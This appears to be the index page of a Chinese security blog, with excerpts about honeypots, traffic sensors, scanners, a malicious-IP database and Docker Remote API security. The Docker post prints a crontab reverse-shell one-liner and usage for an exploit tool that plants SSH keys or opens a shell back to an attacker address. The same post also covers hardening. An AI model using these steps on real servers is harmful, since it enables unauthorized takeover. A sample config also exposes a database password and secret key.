tag

9 21

跨平台的安全检测工具包

概述

xsec-checker是一款服务器安全检测的辅助工具,由GO语言开发,天生支持跨平台,同一份代码可以交叉编译出linux与windows平台下的可执行文件,且无任何库的依赖。

关于跨平台说点题外话,笔者工作前7,8年一直在游戏行业,从安全、运维及开发都有涉猎,记得移动互联网兴起时,许多手机游戏都是先只支持iphone平台,后来才慢慢支持Android平台的,原因是同一款游戏的客户端,需要2个团队,一个team用objective-c开发iphone版的,另一个team用java再重写一版android平台的,到了后期的维护成本及复杂度可想而知。

当时国内最流行的手游开发框架是cocos2d-iphone,是objective-c实现的,后来王哲推出了c++版本的cocos2d-x,只写一套c++版本的代码就可以交叉编译出多种平台的客户端,极大地提高了手机游戏开发的效率。

但业内马上又出现了新的难题,因C++语言难以驾驭,靠谱的C++非常不好招而且人员成本很高,后来cocos2d-x又推出了lua与js的绑定版本,这样的话,在一个研发Team中,只需极少的C++大神就可以搭建好底层框架,具体的业务与逻辑代码,能快速上手lua与js的新手就可以做了,甚至连策划都可以上手,直接写游戏逻辑代码验证自己的设计了,减少沟通与在验证玩法时反反复复让研发修改代码的成本。

目前安全界流行使用python,笔者建议在有高性能要求、跨平台部署、无外部依赖、部署方便、源码加密等要求的场景下使用go语言,go同python一样,也是种全栈的语言。

目前实现的功能如下所示:

项目地址:https://github.com/netxfly/sec_check

8 28

用Docker制作一个高交互ssh蜜罐

概述

实现一个高交互的SSH蜜罐有方式有多种:

  • 可以使用现成的开源系统,如kippocowrie等,
  • 可以利用一些SSH库做2次开发,如https://github.com/gliderlabs/ssh
  • 也可以用Docker定制

市面上已经有这么多开源的SSH蜜罐了,我为什么还要再造个轮子呢,理由如下:

  • 部署这些系统要安装一堆的依赖,运维部署成本较高
  • 想要的功能没法添加,不想要的功能也没法删减
  • 如果要支持多种高交互的服务,必须用一堆开源的系统拼凑出一堆服务来,每种系统的后端DB不同,数据结构也各不相同,无法统一处理
  • 自研的系统部署简单,服务可自由扩展,数据格式可自由定制和统一,方便运维与运营

技术架构

笔者在之前的文章《自制攻击欺骗防御系统》中介绍过完整的架构,整个系统由以下几个模块组成:

  • Agent端,部署于服务器中的Agent,用于实时获取用户的访问日志并传递到检测端Server中,如果是恶意攻击,则会将流量重定向到沙盒中。目前支持的服务有:

    • WEB
    • FTP
    • SSH
    • Rsync
    • Mysql
    • Redis
    • Mongodb
  • Server端,攻击检测服务器,实时检测Agent传递过来的日志并判断是否为攻击者,并为Agent动态、实时地维护了一份攻击者的来源IP策略

  • Mamager端,策略管理服务器,有为Agent和server提供策略、攻击log统计、查看的功能

  • 高交互蜜罐系统及守护进程,高交互蜜罐系统由docker封装的一些服务组成,守护进程负责把仿真系统中产生的LOG的数据格式化后再传给Server端进行攻击检测与入库

本文只讲SSH高交互蜜罐的实现。

5 17

「技术随笔」iptables报too many ports specified的解决

背景

笔者写的蜜罐的agent底层依赖iptables,在设置高交互蜜罐的端口转发规则时会用到iptables的multiport --dports指令,但是超过--dports超过15个的话,会报too many ports specified错误:

iptables -A INPUT -p tcp -m multiport --dports 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
iptables -A INPUT -p tcp -m multiport --dports 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
iptables v1.4.21: too many ports specified
Try `iptables -h' or 'iptables --help' for more information.

关于蜜罐与攻击欺骗防御系统的设计与实现,可以参考笔者之前写过的文章。

  1. 设计灵敏的蜜罐传感器
  2. 自制攻击欺骗防御系统
  3. 自制蜜罐之前端部分

解决方案

投石问路

蜜罐的规则在运营过程是肯定会超过15个,不可能为了规避iptables的这个特性就缩小规则列表。 IPTABLES报这个错误的根本原因是iptables的源码中include/linux/netfilter/xt_multiport.h的宏XT_MULTI_PORTS指定了参数个数为15个,如下所示:

#ifndef _XT_MULTIPORT_H
#define _XT_MULTIPORT_H

#include <linux/types.h>c

enum xt_multiport_flags {
    XT_MULTIPORT_SOURCE,
    XT_MULTIPORT_DESTINATION,
    XT_MULTIPORT_EITHER
};

#define XT_MULTI_PORTS    15

很傻很天真的我最初认为把这个将XT_MULTI_PORTS的值改大重新编译iptables就可以了,事实证明我还是太年青了。等编译完后一执行又报错了,提示让看dmesg,发现如下错误:

[ 1379.325905] x_tables: ip_tables: multiport.1 match: invalid size 48 (kernel) != (user) 456
[ 1650.126296] x_tables: ip_tables: multiport.1 match: invalid size 48 (kernel) != (user) 304

以上2条LOG分别是将XT_MULTI_PORTS改为150和100产生的。为什么捏?

通过观察include/linux/netfilter/xt_multiport.h的代码片断,确定为正好是以下struct中XT_MULTI_PORTS分别为150和100的size。

struct xt_multiport_v1 {
    __u8 flags;                /* Type of comparison */
    __u8 count;                /* Number of ports */
    __u16 ports[XT_MULTI_PORTS];    /* Ports */
    __u8 pflags[XT_MULTI_PORTS];    /* Port flags */
    __u8 invert;            /* Invert flag */
};

这个时候我才恍然大悟,本来iptables就是netfilter的用户接口,最终的操作结果是传到内核级模块netfilter中的,还需要修内核中netfilter模块相对应的代码部分,经确定在以下文件中include/uapi/linux/netfilter/xt_multiport.h,修改完还要重新编译内核。这个方案比较麻烦,先PASS了,还是在agent中实现吧。

柳暗花明

如果一条策略中的端口超过了15个,那我们将策略分成多条即可。先写一个端口数量分割的工具函数:

func SplitWhitePorts(ports []string) (map[int][]string) {
    result := make(map[int][]string)
    total := len(ports)
    batch := 0
    if total%15 == 0 {
        batch = total / 15
        for i := 0; i < batch; i++ {
            result[i] = ports[i*15 : (i+1)*15]
        }
    } else {
        batch = total / 15
        for i := 0; i < batch; i++ {
            result[i] = ports[i*15 : (i+1)*15]
        }
        result[batch] = ports[batch*15 : total]
    }

    return result
}

测试结果满足预期:

[ `go run csrf.go` | done: 561.973248ms ]
    map[0:[1 2 3 4 5 6]]
    map[0:[1 2 3 4 5 6 7 8 9 10 11 12 13 14 15]]
    map[0:[1 2 3 4 5 6 7 8 9 10 11 12 13 14 15] 1:[16 17 18 19 20]]

然后在刷新策略部分应用之:

if strings.ToLower(mode) == "honeypot" {
        whiteIpPolicy := vars.HoneypotPolicy.WhiteIp
        // set white policy
        for _, whiteIp := range whiteIpPolicy {
            logger.Log.Println("/sbin/iptables", "-t", "filter", "-A", "WHITELIST", "-i", setting.Interface, "-s", whiteIp, "-j", "DROP")
            exec.Command("/sbin/iptables", "-t", "filter", "-A", "WHITELIST", "-i", setting.Interface, "-s",
                whiteIp, "-j", "DROP").Output()
        }

        for _, ports := range util.SplitWhitePorts(vars.HoneypotPolicy.WhitePort) {
            logger.Log.Println("/sbin/iptables", "-t", "nat", "-A", "HONEYPOT", "-i", setting.Interface,
                "-p", "tcp", "-m", "multiport", "!", "--dports", strings.Join(ports, ","),
                "-j", "DNAT", "--to-destination", vars.HoneypotPolicy.Backend)

            ret, err := exec.Command("/sbin/iptables", "-t", "nat", "-A", "HONEYPOT", "-i", setting.Interface,
                "-p", "tcp", "-m", "multiport", "!", "--dports", strings.Join(ports, ","), "-j",
                "DNAT", "--to-destination", vars.HoneypotPolicy.Backend).Output()
            logger.Log.Println(ret, err)
        }
    } 
1 31

github泄露巡航系统开发

概述

github敏感信息泄露一直是企业信息泄露和知识产权泄露的重灾区,安全意识薄弱的同事经常会将公司的代码、各种服务的账户等极度敏感的信息『开源』到github中,github也是黑、白帽子、安全工程师的必争之地,作为甲方的安全工程师,我们需要一套可以定期自动扫描特定的关键字系统,以期第一时间发现猪队友同事泄露出去的敏感信息。

积极响应开源号召的同学请开自己业余的项目,公司的产品代码、各系统账户属于公司的资产,擅自对外界公布属于侵犯公司的知识产权的行为,是违法的,造成后果严重者,不仅会被公司开除,还需承担相应的法律责任。

接下来我们一起来看看如何写一款github泄露扫描系统。

功能需求

虽然写代码可以一把梭,但一把梭之前需要先把要写的功能清单列一下,我们的github扫描系统会实现以下功能:

  1. 双引擎搜索,github code接口搜索全局github以及本地搜索例行监控的repos
  2. 支持对指定的用户、仓库、组织进行监控
  3. 提供WEB管理界面,支持规则管理(github搜索规则及本地repos搜索规则)
  4. 支持github token管理和用户管理
  5. 扫描结果审核

已经完成的项目的地址为:https://github.com/xiaomisec/x-patrol

1 4

设计灵敏的蜜罐传感器

设计灵敏的蜜罐传感器

以前我写过一篇蜜罐设计的文章自制蜜罐之前端部分,https://xsec.io/2016/7/8/how-to-develop-a-honeypot.html,这个蜜罐的传感器实现的原理是设置iptables的LOG指令,将NEW,ESTABLISHED,RELATED三种状态的连接信息记录到syslog中,然后再通过rsyslog的转发机制发送到蜜罐server中进行检测:

exec.Command("/sbin/iptables", "-t", "nat", "-A", "HONEYPOT", "-p", "tcp", "-m", "state",
        "--state", "NEW,ESTABLISHED,RELATED", "-j", "LOG", "--log-prefix", "iptables_honeypot").Run()

tips:iptables的几种状态

ESTABLISHED:表示包是完全有效的,而且属于一个已建立的连接,这个连接的两端都已经有数据发送。
NEW:表示包将要或已经开始建立一个新的连接,或者是这个包和一个还没有在两端都有数据发送的连接有关。
RELATED:表示包正在建立一个新的连接,这个连接是和一个已建立的连接相关的。比如,FTP data transfer,ICMP error 和一个TCP或UDP连接相关
INVALID:表示这个包没有已知的流或连接与之关联,也可能是它包含的数据或包头有问题

这个蜜罐的弊端是只能检测到有状态的扫描尝试,比如对Server端支持的服务的攻击尝试,对于server端没有监听的端口的扫描尝试,传感器是检测不到的。于是笔者打算把数据捕获模块更换一下,用sniff本地网卡的方式替换掉以前的iptables的LOG指令。

实现原理

利用libpcap库监听本地指定网卡的数据,先过一次白名单,将白名单中的数据忽略,将不在白名单中的的IP 五元组信息通过http的方式发到server端进行检测、报警。

使用libpcap抓包的前置条件是安装并设置数据转发

# centos
yum install -y libpcap-devel
# Debian/Ubuntu
sudo apt-get install -y libpcap-dev
# OSX
brew install libpcap

# OSX
sudo sysctl net.inet.ip.forwarding=1
# FreeBSD
sudo sysctl -w net.inet.ip.forwarding=1
# Linux
sudo sysctl -w net.ipv4.ip_forward=1
12 29

『安全开发教程』年轻人的第一款弱口令扫描器

概述

我们在做企业安全时,弱口令检测是系统/网络安全的最基础的部分之一,根据经验,经常会出现弱口令的服务如下:

  • FTP
  • SSH
  • SMB
  • MYSQL
  • MSSQL
  • POSTGRESQL
  • REDIS
  • MONGODB
  • ELASTICSEARCH

那咱们就一起用GO来写一款常见服务的弱口令扫描器,且支持以插件的形式增加新的服务扫描模块。我们的教程暂定为只扫以上服务。

给扫描器启一个屌炸天的名字x-crack,在$GOPATH/src/中建立一个x-crack项目后开始撸码,不要给我说什么底层原理、框架内核,老夫敲代码就是一把梭。

开发完毕的项目地址为:https://github.com/netxfly/x-crack

12 14

致敬经典,golang版的dsinff-webspy

xsec webspy

相传很久以前,有一套经典的sniff工具集叫dsniff,其中有一个经典的webspy,可以在本地浏览器中实时地展示被嗅探的服务器所发送的http请求。

为了致敬经典,我也从前2天写的那个恶意流量分析程序 xsec-traffic中抽离出一些代码,山寨了这个功能,以小无相功强行催动这套从天而降的掌法。

项目地址: https://github.com/netxfly/xsec-webspy

用法

./xsec_webspy
NAME:
   xsec webspy - xsec webspy, Support local and arp spoof modes

USAGE:
   xsec_webspy [global options] command [command options] [arguments...]

VERSION:
   20171214

AUTHOR(S):
   netxfly <x@xsec.io>

COMMANDS:
     start    sniff local server
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --mode value, -m value     webspy running mode, local or arp (default: "local")
   --device value, -i value   device name (default: "eth0")
   --host value, -H value     web server listen address (default: "127.0.0.1")
   --port value, -p value     web server listen address (default: 4000)
   --debug, -d                debug mode
   --target value, -t value   target ip address
   --gateway value, -g value  gateway ip address
   --filter value, -f value   setting filters
   --length value, -l value   setting snapshot Length (default: 1024)
   --help, -h                 show help
   --version, -v              print the version

支持sniff本地和以arp spoof的方式sniff同一lan中其他主机的http请求,并打开一个web server实时显示数据请求内容。

在启动前需要安装libpcap库并将内核参数设为允许转发,以下为3种OS的安装、设置方法:

# Fedora
sudo dnf install -y libpcap-devel
# Debian/Ubuntu
sudo apt-get install -y libpcap-dev
# OSX
brew install libpcap

# centos
yum install libpcap
# OSX
sudo sysctl net.inet.ip.forwarding=1
# FreeBSD
sudo sysctl -w net.inet.ip.forwarding=1
# Linux
sudo sysctl -w net.ipv4.ip_forward=1

需要指定采集的目标与网关,其中采集的目标的语法与nmap的一致,支持以下几种写法:

10.0.0.1
10.0.0.0/24
10.0.0.*
10.0.0.1-10
10.0.0.1, 10.0.0.5-10, 192.168.1.*, 192.168.10.0/24

命令语法分别如下:

  1. sudo ./xsec_webspy start -m local -i en0
  2. sudo ./xsec_webspy start -m arp -i en0 -t 192.168.100.100 -g 192.168.100.1

relases页面有编译好的二进制版本。

截图

  1. 以监听本地模式运行

  2. 以arp spoof模式运行,由于在公司,不方便测试,等下班回家补上。

12 11

简易恶意流量分析程序

概述

xsec-traffic为一款轻量级的恶意流量分析程序,包括传感器sensor和服务端server 2个组件。

sensor

sensor负责采集流量,然后发到server端,由server来检测是否为恶意流量。

  1. sensor支持采集TCP和UDP的五元组信息
  2. 支持采集http请求信息
  3. 支持采集同一局域网中其他机器的以上信息

Server

server端的功能为接收各sensor采集到的流程并判断是否为恶意流量,其中:

  1. IP五元组信息是通过查询恶意IP库来判断的
  2. http请求数据的检测还在开发中(暂时会把所有取到的请求信息保存起来,理论上可支持检测所有来自WEB端的攻击类型,如注入、xss等)

使用说明

Server

server需要mongodb的支持,在启动前需要事先准备一个有读写权限的mongodb账户,然后修改当前目录下的配置文件conf/app.ini,样例如下:

HTTP_HOST = 108.61.223.105
HTTP_PORT = 4433

DEBUG_MODE = TRUE
SECRET_KEY = xsec_secret_key

[EVIL-IPS]
API_URL = "http://www.xsec.io:8000"

[database]
DB_TYPE = mongodb
DB_HOST = 127.0.0.1
DB_PORT = 27017
DB_USER = xsec-traffic
DB_PASS = 7160c452342340787fasdfa5b0a9fe0
DB_NAME = xsec-traffic
  1. HTTP_HOST和HTTP_PORT表示server端监听的地址及端口
  2. DEBUG_MODE表示以debug模式运行
  3. SECRET_KEY为sensor与server通讯用的密钥
  4. EVIL-IPS部分为恶意IP库的地址
  5. database部分为mongodb的配置

启动命令如下:

root@xsec:/data/golang/src/xsec-traffic/server# ./server 
[0000]  INFO xsec traffic server: DB Type: mongodb, Connect err status: <nil>
NAME:
   xsec traffic server - xsec traffic server

USAGE:
   server [global options] command [command options] [arguments...]

VERSION:
   20171210

AUTHOR:
   netxfly <x@xsec.io>

COMMANDS:
     serve    startup xsec traffic server
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --debug, -d               debug mode
   --server value, -s value  http server address
   --port value, -p value    http port (default: 1024)
   --help, -h                show help
   --version, -v             print the version
root@xsec:/data/golang/src/xsec-traffic/server# ./server serve
[0000]  INFO xsec traffic server: DB Type: mongodb, Connect err status: <nil>
[0000]  INFO xsec traffic server: run server on 108.61.223.105:4433
  1. serve参数表示直接启动server服务器。

sensor

sensor端也支持配置,修改当前目前下的conf/app.ini即可,详细的配置项如下:

; Sensor global config
DEVICE_NAME = en0
DEBUG_MODE = true
FILTER_RULE = tcp udp

[server]
API_URL = http://108.61.223.105:4433
API_KEY = xsec_secret_key
  1. DEVICE_NAME表示需要采集流量的网卡名
  2. DEBUG_MODE为Debug模式,正式使用时可关掉
  3. FILTER_RULE为流量抓取规则,与wireshark的规则一致

sensor的命令行如下:

$ ./xsec_sensor
[0000]  INFO xsec traffic sensor: Device name:[en0], ip addr:[192.168.31.204], Debug mode:[true]
NAME:
   xsec traffic sensor - xsec traffic sensor, Support normal and arp spoof modes

USAGE:
   xsec_sensor [global options] command [command options] [arguments...]

VERSION:
   20171210

AUTHOR(S):
   netxfly <x@xsec.io>

COMMANDS:
     start    startup xsec traffic sensor
     arp      startup arp spoof mode
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --debug, -d                debug mode
   --filter value, -f value   setting filters
   --length value, -l value   setting snapshot Length (default: 1024)
   --target value, -t value   target ip address
   --gateway value, -g value  gateway ip address
   --help, -h                 show help
   --version, -v              print the version

  1. start 表示直接只采集本地的流量
  2. arp模式为arpspoof模式,可以采集同一局域网下的其他机器的流量,详细的命令行如下:

    sudo ./xsec_sensor arp -t 192.168.31.215 -g 192.168.31.1
    

    在启动前需要安装libpcap库并将内核参数设为允许转发,以下为3种OS的安装、设置方法: ```

    OSX

    sudo sysctl net.inet.ip.forwarding=1

FreeBSD

sudo sysctl -w net.inet.ip.forwarding=1

Linux

sudo sysctl -w net.ipv4.ip_forward=1

Fedora

sudo dnf install -y libpcap-devel

Debian/Ubuntu

sudo apt-get install -y libpcap-dev

OSX

brew install libpcap

FreeBSD

sudo pkg install libpcap

需要指定采集的目标与网关,其中采集的目标的语法与nmap的一致,支持以下几种写法:

10.0.0.1 10.0.0.0/24 10.0.0.* 10.0.0.1-10 10.0.0.1, 10.0.0.5-10, 192.168.1.*, 192.168.10.0/24 ```

实战演练

  • 启动server端

  • 以正常模式启动sensor端

启动后可以看到我本地电脑的有道云音乐正在对外发包。

  • 在小米路由器中查到我Mix2手机的IP地址如下:

  • 将我的Mix2手机手工加到恶意IP库中

  • 以Arp模式启动,用电脑采集同一lan下Mix2手机的流量

  • 可以通过server的简易后台看到检测结果:

  • 以下为http 全部的请求记录,等检测功能开发完后会改为只记录疑似攻击的请求。

参考资料

  1. https://github.com/google/gopacket/
  2. https://github.com/malfunkt/arpfox
  3. http://www.devdungeon.com/content/packet-capture-injection-and-analysis-gopacket
9 26

xsec ip database

xsec ip database

xsec ip database为一个恶意IP和域名库(Malicious ip database),它获取恶意IP和域名的方式有以下几种:

  1. 通过爬虫定期拉取网络中公开的恶意ip库(可能过增加新爬虫的方式订阅新的IP库)
  2. 支持与自有的其他安全产品联动(HIDS、WAF、蜜罐、防火墙等产品),实时更新IP库

功能说明

  1. 启动后会定期更新ip库,默认为1小时更新一次
  2. 支持将恶意ip信息写入postgres, sqlite, mysql, mongodb数据库
  3. 支持恶意ip信息导出、导入
  4. 提供了恶意ip和dns检测以及与其他安全产品联动的接口

使用方法

$ ./main 
[xorm] [info]  2017/09/26 13:22:58.220496 PING DATABASE mysql
NAME:
   xsec Malicious ip database - A Malicious ip database

USAGE:
   main [global options] command [command options] [arguments...]
   
VERSION:
   20170925
   
AUTHOR(S):
   netxfly <x@xsec.io> 
   
COMMANDS:
     serve    startup evil ips
     dump     Fetch all evil ips info and save to file
     load     load ips from file
     help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h     show help
   --version, -v  print the version


  • serve会启动程序,抓取完恶意ip和域名信息后会启动web接口
  • dump,将恶意ip和域名导出到当前目录,文件名分别为ips和dns
  • load,将ips和dns中的信息导入内存并启动WEB接口

运行截图

  • 直接启动程序

  • 导出恶意ip信息到当前目录中,使用场景为部分URL是被墙了的,需要先在国外的VPS中导出文件拖回国内使用

  • 导入恶意ip信息并启动WEB接口

  • 恶意IP检测及实时提交测试

  • 恶意域名检测及提交测试

其中测试与其他安全产品联动的测试代码的内容如下:


package routers_test

import (
    "testing"
    "time"
    "net/http"
    "net/url"

    "xsec-evil-ips/util"
)

func TestUpdateIp(t *testing.T) {
    u := "http://127.0.0.1:8000/api/ip/"
    timestamp := time.Now().Format("2006-01-02 15:04:05")
    k := "aadcbfbc837757a9a24ac96cf9171c8b"
    ip := "212.129.58.111"
    pro := "xsec test pro"

    t.Log(http.PostForm(u, url.Values{"timestamp": {timestamp}, "secureKey": {util.MakeSign(timestamp, k)}, "ip": {ip}, "pro": {pro}}))
}

func TestUpdateDomain(t *testing.T) {
    u := "http://127.0.0.1:8000/api/domain/"
    timestamp := time.Now().Format("2006-01-02 15:04:05")
    k := "aadcbfbc837757a9a24ac96cf9171c8b"
    domain := "www.hosting2balooonba.com"
    pro := "xsec test pro"

    t.Log(http.PostForm(u, url.Values{"timestamp": {timestamp}, "secureKey": {util.MakeSign(timestamp, k)}, "domain": {domain}, "pro": {pro}}))
}

提交的参数需要有以下几个参数,而且安全产品的key必须与恶意IP库的相同,否则不会接受提交的恶意ip或域名信息。

  • timestamp
  • secureKey
  • ip/domain,表示恶意ip或域名
  • pro,表示需要调动的安全产品名称

Demo

  1. 恶意IP检测,http://xsec.io:8000/api/ip/212.129.58.111
  2. 恶意域名检测,http://xsec.io:8000/api/domain/www.hosting2balooonba.com

项目地址:https://github.com/netxfly/xsec-ip-database

2 14

Docker Remote api在安全中的应用杂谈

概述

部门每周三例行的技术分享投稿文章,首发在小米安全中心

众所周知,Docker daemon默认是监听在unix socket上的,如unix:///var/run/docker.sock。 官方还提供一个Rustful api接口,允许通过TCP远程访问Docker,例如执行以下启动参数可以让docker监听在本地所有地址的2375端口上:

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

之后就可以用docker client或任意http客户端远程访问了:

$ curl http://10.10.10.10:2375/containers/json
[]

docker -H=tcp://10.10.10.10:2375 ps         
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

但是开启这种没有任何访问控制的Docker remote Api服务是非常危险的,攻击者发现后可以轻松地拿下整个服务器的权限。

攻击方法

Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限,常见的利用方法如下:

  1. 启动一个容器,挂载宿主机的/root/目录,之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了
  2. 启动一个容器,挂载宿主机的/etc/目录,之后将反弹shell的脚本写入到/etc/crontab中,攻击者会得到一个反弹的shell,其中反弹shell脚本的样例如下:

    echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
    

第2种利用方法也可以挂载var/spool/cron/目录,将反弹shell的脚本写入到/var/spool/cron/root(centos系统)/var/spool/cron/crontabs/root(ubuntu系统)

手工利用方法网上有很多,就不多说了,笔者直接给出一个go语言版的自动化利用工具,github地址为:https://github.com/netxfly/docker-remote-api-exp,使用方法如下:

$ ./remote_api_exp
Usage of ./remote_api_exp:
  -pubkey string
        id_rsa.pub file (default "/root/.ssh/id_rsa.pub")
  -reverse string
        reverse address, 6.6.6.6:8888
  -target string
        target ip, 1.1.1.1:2375
  -type string
        Type, such as check, root, shell (default "check")
  -version string
        Docker version:
        ---------------------------
        Docker version  API Version
        ---------------------------
        1.12.x          1.24
        1.11.x          1.23
        1.10.x          1.22
        1.9.x           1.21
        1.8.x           1.20
        1.7.x           1.19
        1.6.x           1.18

 (default "1.12")

参数说明:

  1. ./remote_api_exp -type=check -target=ip:2375,获取服务器信息,如操作系统,机器名,remote api版本以及docker的安装位置等
  2. ./remote_api_exp -type=root -target=ip:2375 -version=1.12.3,在/root/.ssh/authorized_keys写入攻击者的ssh公钥
  3. ./remote_api_exp -type=shell -target=ip:2375 -version=1.12.3 -reverse=attackerIp:8888,给攻击者反弹一个shell

使用示例:

  1. 以root账户登录

  2. 获取一个反弹shell

也许有运维同学觉得这是因为监听在了外网,所以攻击者才有机会攻击,如果我不监听在外网就没有安全隐患了,其实监听在内网也有以下安全隐患:

  1. 外网攻击者可以通过WEB应用的SSRF漏洞,间接地攻击内网中的这些未授权的Docker remote api服务;
  2. 方便已经攻入内网的攻击者扩大攻击范围;
  3. 可能会被内部别有用心的人攻击,然后窃取敏感数据。

安全加固

在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:

  1. 设置ACL,仅允许信任的来源IP连接;
  2. 设置TLS认证,官方的文档为Protect the Docker daemon socket

客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客户端连接时需要设置以下环境变量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

安全建设

以上咱们回顾了下docker remote api未授权访问认证的安全风险与利用方法,接下来咱们再切换到安全建设视角,用docker remote api构建一个可自动弹性伸缩的ssh蜜罐系统。

现在有不少安全从业者使用docker来做为蜜罐的沙箱了,但是存在一个普通的问题是:所有攻击者连接的都是同一个沙盒,放在外网的沙盒,经常会有多个攻击者同一时间段进入的可能,他们彼此之间可能会看到对方的行为从而识破蜜罐或者为我们单独分析日志造成干扰。

我们的愿景是让所有攻击者都能用上独立的沙盒。您来的时候自动为您开一个全新的沙盒,然后默默地记录下您的操作行为,您走后一段时间会自动销毁沙盒,把资源预留出来接待其他即将到来的黑客兄弟们。

7 8

更换blog的程序了

以前的老blog用的是fuxiaohei用go写的,无数据库,部署、维护很方便,但是代码高亮不太漂亮。

最近几天试了下fuxiaohei新出的静态站点生成系统pugo,操作非常方便,markdown格式书写,可以自动监视文件的变更,实时生成新页面。

我用来当做工作用的文档工具了,使用了几天体验很好,干脆就把blog也换了吧,之前的内容就不迁移了,如果想查看以前的内容,可以访问http://x.xsec.io